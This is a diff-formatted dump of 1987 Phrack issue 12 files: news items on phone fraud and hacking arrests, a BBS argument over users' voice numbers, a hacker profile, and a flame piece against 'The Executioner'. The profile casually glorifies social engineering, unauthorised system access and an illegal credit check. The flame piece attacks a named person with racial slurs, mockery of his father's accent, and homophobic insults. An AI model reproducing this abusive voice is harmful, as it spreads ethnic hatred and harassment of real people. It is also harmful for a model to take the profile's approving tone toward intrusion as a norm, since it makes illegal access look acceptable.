+ Howard added. "I think they were surprised," Christian said. Howard was
87
+ charged with attempted use of an unauthorized credit card. His juvenile
88
+ partner -- who refused to comment Tuesday -- was turned over to his parents.
89
+
90
+ Christian said the youths ordered equipment from Computer-Ability in suburban
91
+ Milwaukee paying with the stolen credit card. A sharp-eyed store employee
92
+ noted purchases on that credit card were coming in from all over the country
93
+ and called the Secret Service. Within two weeks the trap in Milford was set.
94
+
95
+ Howard said his young friend knew the Cincinnatian who led them to the
96
+ bulletin board filled with the names and the numbers of stolen credit cards.
97
+ "We got it from somebody who got it from somebody who got it from somebody on
98
+ the east coast," Howard recalled. That new acquaintance also boasted of using
99
+ stolen card numbers from electronic bulletin boards to buy expensive
100
+ accessories and reselling them locally at bargain process.
101
+
102
+ He and his friend used the stolen credit card to upgrade his Atari 800 system,
103
+ Howard said. "We ordered a bunch of hardware to use with it." In addition to
104
+ the purchase that drew the secret service to them, Howard said they "ordered
105
+ other stuff, but before we received anything, we were picked up." Howard said
106
+ he'd had the Atari about two years and was getting bored with it and home
107
+ computers in general.
108
+
109
+ He had taken computer programming for eight months after high school, he said,
110
+ but hadn't used it. He would like to try computer-aided design and
111
+ engineering, but right now, he's working in a pizza parlor. Christian said
112
+ Howard's parents had been enthusiastic about his computer interests and
113
+ friends who shared them. "They though it would keep them out of trouble."
114
+
115
+ Assistant U.S. attorney Kathleen Brinkman and Christian said the Cincinnati
116
+ area investigation was continuing and numerous juveniles, some quite young,
117
+ may be involved.
118
+ Thanks to Grey Elf
119
+
120
+ Re-typed for PWN into lowercase by Knight Lightning
121
+ ______________________________________________________________________________
122
+
123
+ Hang On... Phone Rates Are Falling Again! March 1987
124
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
125
+ >From Changing Times Magazine March 1987 Issue
126
+
127
+ No news that long-distance rates are still headed down, but now local rates
128
+ are poised to follow, at least in some areas.
129
+
130
+ Competing long-distance carriers have already been forced to react to AT&T's
131
+ January rate cut, which averaged 11.2%, with cuts of their own. Now the
132
+ Federal Communications Commission [FCC] may propose that an additional $1 or
133
+ $2 be added to the subscribers line charge, the $2-a-month access charge that
134
+ every residential customer pays. If that happens it would compensate.
135
+
136
+ Since AT&T's divestiture in January 1984, the telephone services component of
137
+ the consumer price index has risen 17.4%, reflecting a 36.7% increase in local
138
+ rates at the same time long-distance charges were falling. But price
139
+ increases for overall service have moderated each year, falling 2.7% in 1986
140
+ from 4.7% in 1985 and 9.2% in 1984. That trend should continue as local rates
141
+ stabilize and even fall. Wisconsin and Vermont, for example, have ordered
142
+ local companies to make refunds, and a number of states - New York,
143
+ Pennsylvania, Washington - are considering lowering rates to reflect the
144
+ improved financial position of local phone companies. Those companies will
145
+ benefit from tax reform, and lower inflation and interest rates have resulted
146
+ in lower expenses in several other areas.
147
+
148
+ Things are not looking good for some of AT&T's competitors in the long
149
+ distance business, however. Forced to follow AT&T's rate cuts, both MCI and
150
+ US Sprint are hard-pressed financially, and analysts don't rule out the
151
+ possibility that one or both could get out of the long-distance business,
152
+ potentially leaving AT&T a monopoly again. But that would be "politically
153
+ unacceptable," says analyst Charles Nichols of E.F. Hutton. Some
154
+ alternatives: allowing regional phone companies to enter the long-distance
155
+ business or allowing AT&T to keep more of the profits it earns from increased
156
+ efficiency instead of forcing the company to cut rates. That would take some
157
+ pressure off competitors.
158
+
159
+ Special Thanks to Stingray
160
+ ______________________________________________________________________________
161
+
162
+ Police Arrest Computer "Hacker" Suspect March 15, 1987
163
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
164
+ >From the St. Louis Post-Dispatch
165
+
166
+ "MCI told police it was losing $2.7 million a month to such 'hackers.'"
167
+
168
+ A computer software engineer [Robert Wong] has been arrested at his home in
169
+ Maryland Heights, Missouri on suspicion of trying to get into the computer
170
+ system of MCI Telecommunications Corporation.
171
+
172
+ The case is the fourth in this area involving computer "hackers" who have
173
+ tried in recent months to get into MCI's computer system, police say.
174
+
175
+ Detective John Wachter of the Maryland Heights Police Department said the
176
+ department would seek a warrant today charging the suspect with "tampering
177
+ with computer users," a felony.
178
+
179
+ The charge is being sought under a state law enacted last year to deal with
180
+ hackers - people who try illegally to tap into other computer systems.
181
+
182
+ The suspect is Robert Wong, 23, of the 2000 block of Maverick Drive, Maryland
183
+ Heights, Missouri. Police tracked down Wong by a court-sanctioned "trap" on
184
+ his phone after MCI learned that someone was trying to tap into its
185
+ long-distance lines.
186
+
187
+ In a written statement to police, Wong said he "came across" MCI's programs
188
+ and access codes. He said he was "amazed" when he got into the system. "I
189
+ know it was illegal, but the urge of experimenting was too great," he told
190
+ police.
191
+
192
+ Typed For PWN by Taran King
193
+ ______________________________________________________________________________
194
+
195
+ PWN Quicknotes
196
+ ~~~~~~~~~~~~~~
197
+ In upcoming months P-80 will be moved from her ole TRS Model 1 to an IBM PC
198
+ compatible. In addition to a boost in storage capacity (amount still
199
+ undecided), P-80 will be adding a new "user to user" direct file/program
200
+ transfer thus allowing the membership the ability to privately send text or
201
+ programs directly to another user. There will also be the ability to forward
202
+ a message with text/program attached) to another user after receipt. (2/26/87)
203
+
204
+ Information from
205
+ <S><C><A><N> <M><A><N> & P-80 Information Systems
206
+ ------------------------------------------------------------------------------
207
+ If you consider yourself a phreaker or a hacker in any way, shape or form,
208
+ then read on! The Telecom Security Group is sponsoring the first on-line
209
+ hack/phreak survey. It consists of about 30 minutes work of answering
210
+ questions (or until you want to stop) that pertain to phreaking, hacking, the
211
+ security, and the attitudes surrounding it all.
212
+
213
+ You are allowed to identify yourself during the survey if you wish or you may
214
+ remain totally anonymous. It's really just the general answers that will
215
+ count. Call now: 914-564-6648 (914-LOG-ON-IT) and type SURVEY at the main
216
+ prompt to get the survey. Thanks for your involvement, and do spread the word
217
+ to any board that considers itself phreak/hack oriented.
218
+
219
+ Information by Taran King & Tuc (2/6/87)
220
+ ------------------------------------------------------------------------------
221
+ Telecommunications giant AT&T is lying in its advertisements that claim it has
222
+ an exclusive toll-free number for foreign clients to reach U.S. businesses,
223
+ its competitor says in a lawsuit.
224
+
225
+ Worldwide 800 Services Inc. says that it has filed suit against AT&T with the
226
+ FCC, charging AT&T with false advertising. The ads by AT&T claim that it can
227
+ provide a global telephone network that would allow clients in foreign
228
+ countries to call a toll-free number to reach businesses in the United States.
229
+ AT&T claimed that "You won't find this type of service anywhere else."
230
+
231
+ Worldwide 800 says that their company provides toll-free service from any
232
+ foreign city to the U.S., whereas AT&T can only provide toll-free service on a
233
+ countrywide basis. An AT&T spokeswoman denied all of the charges, stating
234
+ that the advertisement in question was neither fraudulent or deceptive. If
235
+ Worldwide 800 Services wins the case, they state that they will demand
236
+ corrective advertising and seek monetary damages.
237
+
238
+ Information from Lucifer 666 (3/1/87)
239
+ ______________________________________________________________________________
phrack/issue12/11.txt ADDED
@@ -0,0 +1,258 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue 12, Phile #11 of 11
4
+
5
+ PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
6
+ PWN PWN
7
+ PWN >>>>>=-*{ Phrack World News }*-=<<<<< PWN
8
+ PWN Issue XII/2 PWN
9
+ PWN PWN
10
+ PWN Created, Compiled, and Written PWN
11
+ PWN by Knight Lightning PWN
12
+ PWN PWN
13
+ PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
14
+
15
+ Toll-Free Woes January 26, 1987
16
+ ~~~~~~~~~~~~~~
17
+ >From Time Magazine; reprinted in the February 1987 Issue of CO Magazine
18
+
19
+ While Oral Roberts struggles with budgets, fundamentalist preacher Jerry
20
+ Falwell faces a different kind of money pinch. The Lynchburg, VA,
21
+ televangelist has long used toll-free phone numbers to assist viewers seeking
22
+ spiritual help.
23
+
24
+ For many months Falwell foes, aware that each phone-in cost $1, have purposely
25
+ clogged his lines. An Atlantan programmed his computer to dial Falwell every
26
+ 30 seconds. Before Southern Bell stepped in, the stunt cost Falwell $750,000.
27
+
28
+ Late last year, the Daily Cardinal student newspaper at the University of
29
+ Wisconsin -- Madison ran a column advocating "telephone terrorism" and listed
30
+ several targets, including Falwell.
31
+
32
+ The TV preacher estimates that annoyance calls cost him more than $1 million
33
+ last year, not counting lost donations. Falwell, who is considering legal
34
+ action, regards the calls as "unlawful activities" that do "injury to the
35
+ cause of Christ."
36
+
37
+ [Well now...isn't that special? And just where did all these people get the
38
+ idea to do "injury to the cause of Christ?" From me, Knight Lightning? No, I
39
+ don't think so. From oh maybe Phantom Phreaker? No, I don't think so.
40
+ Possibly Lucifer 666, but the big question is... Could it be... SATAN!!!?]
41
+
42
+ Typed For PWN by Knight Lightning
43
+ ______________________________________________________________________________
44
+
45
+ Voice numbers: Are They Really Necessary? March 5, 1987
46
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
47
+ A recent series of events on ShadowSpawn BBS has attracted much attention in
48
+ the hack/phreak community. It seems that the sysop, The Psychic Warlord,
49
+ denied access to Lex Luthor, Kerrang Khan, and Silver Spy because of their
50
+ failure to leave valid voice phone numbers. The following messages have been
51
+ taken from ShadowSpawn BBS. [Some posts have been re-formatted].
52
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
53
+ 32/50: This board...
54
+ Name: The Psychic Warlord #1
55
+ Date: 6:36 pm Thu Feb 26, 1987
56
+
57
+ Alright goddamn it, I'm so fucking pissed off that I'm just about ready to
58
+ say Fuck It and take down the board for good. Why? Seems that few people are
59
+ happy with the way I run this board. No, not really with the way I run it,
60
+ but more like the way I choose to validate my users. Ok, fine... You don't
61
+ like it then get the fuck out and quit complaining.
62
+
63
+ I set certain rules that people have to abide by to get access to this
64
+ board. Very simple fucking rules. And now I'm finding out that people don't
65
+ want to abide by these rules, and basically tell me I'm fucked in the head for
66
+ having and going by them. What rules? For one thing, and this is the major
67
+ bitch-point here, new users (no matter WHO THE FUCK they are) are *REQUIRED*
68
+ to leave a valid voice number where I or Ctrl can reach them at for
69
+ validation. No big fucking deal... Just a goddamn phone number.
70
+
71
+ "Oh, but I can't give you my voice number. I'm a hacker, and I do untold
72
+ amounts of illegal things and I can't risk my number getting out." Riiight.
73
+ Like I'm really some fucking Fed who's gonna bust yer ass, or some geek who
74
+ gives out peoples phone numbers to any-fucking-body who asks. BULLSHIT!
75
+
76
+ I'm the Sysop of a (hopefully) respected BBS, and along with that goes a
77
+ certain responsibility. I'm not about to go passing out peoples numbers. *I*
78
+ have respect for other hackers privacy, unlike some people who choose to
79
+ invade mine just for the fucking hell of it. I require that new users leave
80
+ their voice numbers for a number of GOOD reasons:
81
+
82
+ 1) Trust -- If they can trust me with their voice numbers, then I can trust
83
+ them with access to my board. I need that kind of trust between
84
+ me and my users. If they feel that they can't trust me enough to
85
+ give me a lousy phone number, then how in God's name am I supposed
86
+ to be expected to trust them at all?? My ass is on the line just
87
+ as much (if not more) than any user of this board!
88
+
89
+ 2) Security -- Ok... So how do I know if someone is really a Fed or not? I
90
+ don't! I go by instinct. Having a person's voice number let's
91
+ me call them for validation and get to know them a helluva lot
92
+ better than I could through e-mail. Plus, if suspicion ever
93
+ arose about a user of my board being a Fed or not, how could I
94
+ check this out? If I don't have their voice number, I have no
95
+ leads as to where to find or who the fuck this person really
96
+ is. Now I don't go checking everyone on the board via the
97
+ numbers they give me. I have NEVER had to do that for ANY
98
+ user, but the possibility is there. And rather than throw a
99
+ possibly innocent person off the board merely on a hunch, we
100
+ might be able to prove whether or not it's true. This is
101
+ extremely hypothetical, but like I said... the possibility is
102
+ there.
103
+
104
+ Ok, so why the hell should I have to require that established people, like
105
+ Lex Luthor and Silver Spy, leave valid voice numbers? Is it fair to the other
106
+ users? Hell no. If I required only certain people to give me their numbers,
107
+ then what does that do to their trust in me?? It's like me saying, "Well, I
108
+ don't trust you... I don't know you that well. You have to sacrifice more
109
+ than these guys to get access." That's BULLSHIT, and I'm not about to do it.
110
+ If one person is required to give a valid voice number, then every damn user
111
+ is required to!
112
+
113
+ I've been getting a lot of shit the past couple days because I've denied
114
+ access to some very well known and respected people in the hack/phreak world.
115
+ Namely Lex Luthor, Silver Spy, and Kerrang Khan. I denied all of them access
116
+ because they all refused to leave a voice number. Fine. Then they don't get
117
+ access. Ctrl [Ctrl-C is a cosysop on ShadowSpawn] said I was crazy. Taran
118
+ said pretty much the same. Taran also tried to get me to change my mind...
119
+ to condescend, or go against what I believe in and how I believe this board
120
+ should be run. He (Taran) said that by my denying Lex and the others access
121
+ that I would be hurting this board more than helping it. ***I DON'T GIVE A
122
+ DAMN***
123
+
124
+ I'm not impressed in the least with any of those peoples reputations. I
125
+ never have been a "groupie" and I'm not about to start now. Whether or not
126
+ they are good or not isn't the issue here, and some people don't seem to
127
+ realize that. Yes, Lex is good. He's well known. He's even a nice guy...
128
+ I've talked to him before and personally I like him. But I don't play
129
+ favorites for anyone. Not Lex, not Silver Spy, and not Kerrang Khan. Nobody.
130
+
131
+ What really pissed me off, and I should have told Taran that I resented it
132
+ at the time, is that TK said that apparently this board is "elite". That I
133
+ consider this board to be too good. Personally I think this fucking board is
134
+ overrated, and yes Taran... I resented that remark. I can't remember exactly
135
+ what he said, but it was something like, "In your logon message you have
136
+ 'We're not ELITE, we're just cool as hell,' but apparently you ARE elite."
137
+
138
+ This board isn't "elite" and if I come off seeing that way sometimes, it's
139
+ only because people are getting half the picture of what I'm doing.
140
+
141
+ Ok, so I deny Lex Luthor access to this board. That's all you people seem
142
+ to think about. The actual denying of access. You think, "How can he do
143
+ that?! What gall! He must be a real egotistic bastard to think that Lex
144
+ Luthor isn't good enough to be on this board!" If you think that, and most of
145
+ you have thought only that, then you're fucked in the head.
146
+
147
+ Yes, I realize who these people are! Yes I know their reputations and how
148
+ they are renowned for their skills as hackers and phreakers... But like I
149
+ said before, that's not the issue. It never was. I *KNOW* how good these
150
+ people are. I *KNOW* about their reputations and I respect them for it, but I
151
+ don't care. That's not why they've been denied access!
152
+
153
+ When I deny someone access to this board it's usually for one of two
154
+ reasons;
155
+
156
+ 1) They left a false voice number or
157
+ 2) They either blew off or left really crappy answers to the filter.
158
+
159
+ Personally I'd be thrilled to have Lex or Silver Spy on the board... and
160
+ any of a number of people. But these people can't find it in themselves to
161
+ trust me. If they can't trust me, then I can't trust them. It's as simple as
162
+ that.
163
+
164
+ I'm not about to let anyone on this board that I can't trust. It's not
165
+ fair to the other users, and it's damn stupid of me. I run this board the
166
+ best way I know how. I do what I do in respect to new user validations
167
+ because it's the best way, through trial and error, that I have found to
168
+ handle it. If people can't respect the way in which I choose to run my board
169
+ then I'd appreciate it if they never called. And when regular users of my
170
+ board start questioning the way I do thing, and telling me that I'm WRONG for
171
+ doing things the way I believe they should be done, then I really start to
172
+ wonder what the fuck I'm doing it for at all. I'm not a quitter, and I don't
173
+ like the idea of giving up and taking down the board. I'm going to run this
174
+ board the way I think is best, and I'm not about to conform to what other
175
+ people think I should do.
176
+
177
+ I've probably stepped on some toes and offended some people with this, but
178
+ that's just too damn bad. I hate fighting the topic but I'll fight it if I
179
+ have to.
180
+
181
+ --==The Psychic Warlord==--
182
+
183
+
184
+ 37/50: Take a fucking valium
185
+ Name: Taran King #45
186
+ Date: 9:02 am Sat Feb 28, 1987
187
+
188
+ You're known for an explosive temper, PW as well as sometimes being extremely
189
+ irrational. My policy is to let people on the my board with voice numbers
190
+ only. Through the history, I've made maybe 5 exceptions. Some of 'em include
191
+ Lex, Spy (at first), Tabas, Videosmith, and Phucked Agent 04. Now, I never
192
+ got anything out of PA04 because he got a "call" soon after he got on the
193
+ board, but the rest of the members have contributed extremely well to the
194
+ board. I just made sure I knew it was really them by referencing and cross
195
+ referencing.
196
+
197
+ If your morals are that unbendable, PW, then you need to relook at the purpose
198
+ of this board. If it's to spread phreak/hack knowledge as you said on the
199
+ phone, then to have those people on with the experience that they have would
200
+ hardly hinder the board. I seriously doubt anyone would feel offended if any
201
+ of the forementioned people got on here without leaving a valid voice number,
202
+ being that they're not on any other board with a voice number.
203
+
204
+ I know that Lex is not giving out his number to even the best of his
205
+ friends. Spy is really careful about it these days. Not so sure about
206
+ Kerrang but he's travelling about now so he's not in one place for too long
207
+ nowadays. It's your board and I was trying to give you some constructive
208
+ criticism, but you took it the wrong way. You don't have to claim you're
209
+ ELITE to be elite. Elite merely means that you've got the respected members
210
+ of the community on board. Well, you've got 'em. If you don't like it, I
211
+ suggest you go through and purge the log like a big dog. Actually, fuck it.
212
+ I'm tired of getting into arguments for trying to help someone. Feel free to
213
+ delete my account if you feel that I've not contributed enough information to
214
+ the board, or if you've rethought the purpose and decide that it's not for
215
+ what I've contributed, dump me. Fuck dis
216
+ -TK
217
+
218
+
219
+ 44/50: Well...
220
+ Name: The Psychic Warlord #1
221
+ Date: 4:57 pm Sun Mar 01, 1987
222
+
223
+ I'm glad that some people agree with me on this. I can understand Lex's
224
+ point of view, too. I can also remember a time when I myself refrained from
225
+ giving my number to any sysops. But... I've changed my point of view
226
+ considerably after living the Sysop life for well over 1.5 years. Now if I
227
+ ever wanted access to a board, and the Sysop of that board asked for my voice
228
+ number, I'd give it to him.
229
+
230
+ I've given Lex access to this message base for a short period of time so
231
+ that he can check out the discussion. He called me voice the other day and we
232
+ talked for a while about this whole biz. I'd like him, and Spy, on the board,
233
+ and possibly they'll change their minds. If not, that's cool. I'm just going
234
+ to let the whole thing kind of slide from here on out. If they change their
235
+ minds, great... Well, Adios.
236
+
237
+ --==The Psychic Warlord==--
238
+
239
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
240
+
241
+ Kerrang Khan, when notified that he must leave a voice number, said "there is
242
+ no reason Psychic Warlord would need any user's phone number." He also stated
243
+ that the fact that PW insisted on voice numbers was very "suspicious."
244
+
245
+ Silver Spy, when notified that he must leave a voice number, never bothered
246
+ calling again.
247
+
248
+ Lex understood the whole situation and remained cool. He said he could see
249
+ why a sysop would need voice numbers of his users. Lex was worried about the
250
+ board he left it on getting busted and the authorities getting his number. So
251
+ PW, in response to this deleted all users phone numbers from the board and
252
+ encrypted them in a hidden sub-directory. Now the numbers are there only and
253
+ are totally hidden.
254
+ Information Provided By
255
+
256
+ Lucifer 666/Psychic Warlord/ShadowSpawn BBS/Taran King
257
+ ______________________________________________________________________________
258
+
phrack/issue12/2.txt ADDED
@@ -0,0 +1,136 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue 12, Phile #2 of 11
4
+
5
+ ==Phrack Pro-Phile IX==
6
+
7
+ Written and Created by Taran King
8
+
9
+ 3/17/87
10
+
11
+ Welcome to Phrack Pro-Phile V. Phrack Pro-Phile is created to bring
12
+ info to you, the users, about old or highly important/controversial people.
13
+ This month, I bring to you a name from the past...
14
+
15
+ Agrajag The Prolonged
16
+ ~~~~~~~~~~~~~~~~~~~~~
17
+
18
+ Agrajag was popular on many boards and hung out with many of the
19
+ stronger names in the phreak/hack community.
20
+ ------------------------------------------------------------------------------
21
+ Personal
22
+ ~~~~~~~~
23
+ Handle: Agrajag The Prolonged
24
+ Call him: Keith
25
+ Past handles: None
26
+ Handle origin: Fictional character in Hitchhiker Trilogy
27
+ Date of Birth: 6/14/67
28
+ Age at current date: 19 years old
29
+ Height: 6'2"
30
+ Weight: 139 lbs.
31
+ Eye color: Brown
32
+ Hair Color: Depends on the day (Orange, Brown, Black, Hot Pink, etc.)
33
+ Computers: TRS Model III, worked his way up to a TVI 950 Dumb
34
+ Terminal
35
+
36
+ ------------------------------------------------------------------------------
37
+ Agrajag started phreaking and hacking in about 1979 through the help
38
+ of some friends of his. He originally started hacking (programming) on a
39
+ Vector 8080 in 4th grade. His instructor then is now one of the top 5
40
+ computer instructors. Phreaking began with, of course, codes but he was very
41
+ interested in how the phone system worked. He had read some books on the
42
+ phone company and their evils in their earlier days and he was very interested
43
+ in the very idea of becoming an operator. Members of the elite world which he
44
+ has met include Tuc, BIOC Agent 003, Broadway Hacker (negative), and Cheshire
45
+ Catalyst, all at a Tap meeting he attended. On regular BBSes, there were
46
+ listings for other BBSes which turned out to eventually be phreak BBSes. Some
47
+ of the memorable phreak boards he was on included WOPR, OSUNY, Plovernet, and
48
+ Pirate 80. His phreaking and hacking knowledge came about with the group of
49
+ people including Tuc, BIOC, and Karl Marx.
50
+
51
+ Agrajag was a video game programmer for the last American owned video
52
+ game manufacturer, Cinematronix, Inc. (of Dragon's Lair, Space Ace, World
53
+ Series, and Danger Zone fame, of which he helped with World Series and a big
54
+ part of Danger Zone) which went bankrupt a bit over a month ago.
55
+
56
+ Agrajag takes interviews for magazines (such as this) which keeps up
57
+ his phreak/hack activity. He (and a bunch of others) were written up in a USA
58
+ Today article as well as being interviewed by a local paper when The Cracker
59
+ (Bill Landreth) got busted (they took pictures of the back of his head in
60
+ front of his computer).
61
+
62
+ Agrajag was never in any major phreak groups except for The
63
+ Hitchhikers (Bring your towel!) which was just a group of local friends.
64
+
65
+ ------------------------------------------------------------------------------
66
+
67
+ Interests: Telecommunications (modeming, phreaking, hacking,
68
+ programming), music, concerts, club hopping, and video
69
+ games.
70
+
71
+ Agrajag's Favorite Thing
72
+ ------------------------
73
+
74
+ Club/Bar hopping: Tijuanna (TJ)
75
+
76
+ Most Memorable Experiences
77
+ --------------------------
78
+
79
+ Going officing. Tuc, BIOC, and he were let into a local CO and they used
80
+ their copying machine to make copies of their manuals. They
81
+ replaced the paper [over 2 reams] later and didn't steal anything
82
+ major besides the paper and a few NY Bell signs.
83
+ Called supervisors saying that they had witnessed some trunks red-lighting and
84
+ there would be severe problems if they didn't contact this guy,
85
+ Abbot Went, in San Francisco. There were about 10 supervisors in
86
+ mass hysteria (on Thanksgiving) wondering what to do. Later, they
87
+ called up Abbot again saying they were the White House switch and
88
+ said some kids were fooling around.
89
+ Breaking into his school's computer in his senior year mid-semester. He had
90
+ scanned it out on a school prefix and the login and password was the
91
+ name of his school. It was a TOPS-20 system and he was well enough
92
+ versed in TOPS-20 to know what to do. The next day, he told the
93
+ vice-principal that he had broken into the computer and that they
94
+ had some major security problems. They said he was bullshitting and
95
+ he told them to read their mail. Then, later, he brought in his
96
+ equipment and showed them with the principal there. He was
97
+ threatened by the principal with police, etc. but he told them to go
98
+ to hell. He was later offered a job helping the security on the
99
+ system but instead, he told them how they could solve the security
100
+ problem and didn't take the job.
101
+ Agrajag's teacher asking him to do a credit check on someone illegally. He
102
+ eventually did part of it, but the teacher was an asshole so he
103
+ didn't give all the information to him.
104
+ Getting flown to the Tap meeting by a friend.
105
+
106
+ Some People to Mention
107
+ ----------------------
108
+
109
+ Tuc
110
+ BIOC Agent 003
111
+ Karl Marx
112
+ Automatic Jack
113
+
114
+ All for being friends and all around good people and phreaks.
115
+
116
+ ------------------------------------------------------------------------------
117
+
118
+ Agrajag is out and out against the idea of the destruction of data.
119
+ He hated a person intensely because they posted private lines with
120
+ instructions on how to maim a system owned by someone who was already hated.
121
+ He deleted the message (he was co-sysop) and it became a bit controversial.
122
+ He hated that then and still has no respect for anyone who does this. Where
123
+ have all the good times gone?
124
+
125
+ ------------------------------------------------------------------------------
126
+
127
+ I hope you enjoyed this phile, look forward to more Phrack Pro-Philes coming
128
+ in the near future. ...And now for the regularly taken poll from all
129
+ interviewees.
130
+
131
+ Of the general population of phreaks you have met, would you consider most
132
+ phreaks, if any, to be computer geeks? The general populus, yes, but good
133
+ phreaks, no. Thank you for your time, Agrajag.
134
+
135
+ Taran King
136
+ Sysop of Metal Shop Private
phrack/issue12/3.txt ADDED
@@ -0,0 +1,84 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue 12, Phile #3 of 11
4
+
5
+ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
6
+ % %
7
+ % The Life & Times of The Executioner %
8
+ % %
9
+ % by Oryan QUEST %
10
+ % %
11
+ % Written on 3/16/87 %
12
+ % %
13
+ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
14
+
15
+
16
+ Introduction:
17
+ ------------
18
+ This file was not written with the intention of being cute, funny or to tell
19
+ fellow phreaks and hacks how lame or stupid they are. It was written to open
20
+ the eyes of these idiots to see what the REAL story is.
21
+
22
+ The Executioner/Mikey
23
+ ---------------------
24
+ I'm am sure the majority of you have heard of "Exy." His claim to fame is
25
+ simply telling people how lame they are or how great and sexy he is. He also
26
+ claims to be wealthy and that Phreak Klass 2600 is the best bulletin board on
27
+ this side of the galaxy. Let us examine some key events.
28
+
29
+ When Metal Shop Private was up, Mr. Sexy Exy (oh and I doubt he really is),
30
+ proceeded to rag on everyone on the system with the exception of a few that he
31
+ ass-kissed. He then turns around when Phreak Klass 2600 (and I am in no way
32
+ ragging on Phreak Klass) goes up, to ask everyone he has annoyed for over 2
33
+ months and badgers them to call. Now, Mike, I seriously doubt you are as sexy
34
+ as you claim for several reasons. Just by the nature of your attitude, the
35
+ way you think you are powerful because you can "tell" people about their lives
36
+ and families when you yourself are a Chinese bastard who has an unemployed
37
+ father that can barely speak the English language.
38
+
39
+ "Miko ith no heeahh riiitte nao"
40
+ (Michael is no here right now)
41
+
42
+ You have ragged on Arthur Dent when you know that you will NEVER receive the
43
+ admiration or stature whether it be socially or economically he has attained.
44
+ You have ragged on Dr. Doom when he has achieved more than you can ever hope
45
+ for. You only commenced to rag on him when he turned down your offer to join
46
+ PhoneLine Phantoms. This is because he refused to be associated with an
47
+ asshole like you. You continually show signs of immaturity (I am not saying I
48
+ am perfect) by poking fun at other people's races (blacks, spics, Iranians)
49
+ when you yourself are nothing but a rice dick.
50
+
51
+ You bad mouth people but, when you need their help you beg for it and ask them
52
+ to be cool. You write stupid poems and rhymes about people when they are a
53
+ TOTAL misrepresentation of facts. You claim Dr. Doom is so ugly he could
54
+ never leave his room. Tell me, have you ever met Dr. Doom? Isn't it true
55
+ that you ragged on him only because he didn't want anything to do with you,
56
+ your group, and your image?
57
+
58
+ Are you going to rag on me now and prove all the points I have brought out? I
59
+ think so. You ragged on me, telling me my family receives government cheese
60
+ handouts and telling me what a loser I am when you yourself have never met me
61
+ or bothered to seek the real facts. You then proceeded to badger me to join
62
+ your new "legion of queers," The Network Technicians telling me how cool it
63
+ would be and begging me to help you learn. But don't I receive government
64
+ cheese handouts? Aren't I such a loser? Mr. Solid State trusted you and
65
+ joined PLP. He thought nothing bad of you at the time. He just considered
66
+ all the rumors about you to be false or misrepresentation. When PLP dissolved,
67
+ he saw no purpose to be in any longer and dropped out. You proceeded to rag
68
+ on him, when you know you aren't half the man he is. You don't even possess
69
+ half the knowledge or personality he has. Tell me, what gives you such
70
+ authority to rag on people? What makes you so supreme? Why are you so rich,
71
+ when you are 18 and don't even have a car, when you go on and on about your
72
+ parents?
73
+
74
+ You rag on Atlantis because you were kicked off. Now you tell people how lame
75
+ it is and how stupid The Lineman and Sir William are. When you know that they
76
+ were sick of your, "I am supreme attitude," of your childish antics and your
77
+ lack of knowledge of any kind.
78
+
79
+ Well, Exy, rag on me now, tell me how lame I am, insult me. Make your poems,
80
+ songs, and raps. Tell me what kind of a loser I am. Insult Solid State, show
81
+ us just how childish you can be. Until then, go back into your dream world
82
+ and leave us alone.
83
+
84
+ Oryan QUEST
phrack/issue12/4.txt ADDED
@@ -0,0 +1,422 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
